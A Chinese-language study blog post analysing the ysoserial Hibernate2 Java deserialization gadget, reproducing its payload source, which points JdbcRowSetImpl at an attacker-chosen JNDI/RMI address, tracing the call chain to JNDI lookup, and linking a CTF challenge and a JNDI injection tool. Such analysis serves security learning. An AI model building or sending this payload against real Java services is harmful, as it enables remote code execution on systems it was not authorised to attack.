Hibernate2反序列化|ysoserial学习(三)
Hibernate2-Gadget
/**
*
* Another application filter bypass
*
* Needs a getter invocation that is provided by hibernate here
*
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue1.initialize()
* org.hibernate.engine.spi.TypedValue1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* Arg:
* - JNDI name (i.e. rmi:<host>)
*
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
ysoserial源码
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion")
@Authors({ Authors.MBECHLER })
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies () {
return Hibernate1.getDependencies();
}
public Object getObject ( String command ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(command);
return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Hibernate2.class, args);
}
}
这里的源码相比于Hibernate1
的链子可以说是少很多了,为什么? 因为就是在Hibernate1
的基础上将后面调用部分的TemplatesImpl
对象调用链修改成了JdbcRowSetImpl
对象的调用链,同时将其调用函数从com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
改为了com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData
所以这里我们就直接对前面调用部分进行一个截图记录,到后面JdbcRowSetImpl#getDatabaseMetaData
的调用部分再跟进学习吧.
Hibernate1部分
org.hibernate.engine.spi.TypedValue.hashCode()
org.hibernate.internal.util.ValueHolder.getValue()
org.hibernate.engine.spi.TypedValue$1.initialize()
org.hibernate.type.ComponentType.getHashCode()
org.hibernate.type.ComponentType.getPropertyValue(C)
org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
org.hibernate.property.access.spi.GetterMethodImpl.get()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData
到这里这一步就是一个单线调用的过程, 继续执行了connect函数,继续跟进看一下
com.sun.rowset.JdbcRowSetImpl.connect
回环之前的分析:羊城杯2022-simple_json
到这里其实可以说Hibernate的链子已经跟完了,因为调用了javax.naming.Context#lookup(java.lang.String)
在一定条件下就可以通过触发lookup的远程加载漏洞从而进行RCE等漏洞利用了。
代码的内容可以说是和羊城杯2022-simple_json
一模一样了(在Hibernate中我们可控getDataSourceName()的返回结果,在题目中我们能够控制this.target参数), 这里是题目漏洞点的关键代码:
如果是在低版本JDK下几乎就是一个远程对象加载直接RCE, 在高版本下的话可以参考我的上一篇文章从羊城杯一道题学习高版本JDK下JNDI的利用
,
另外这里再给一个高版本JDK下的JNDI注入利用和fuzz工具:
JNDIExp:: https://github.com/Bl0om/JNDIEXP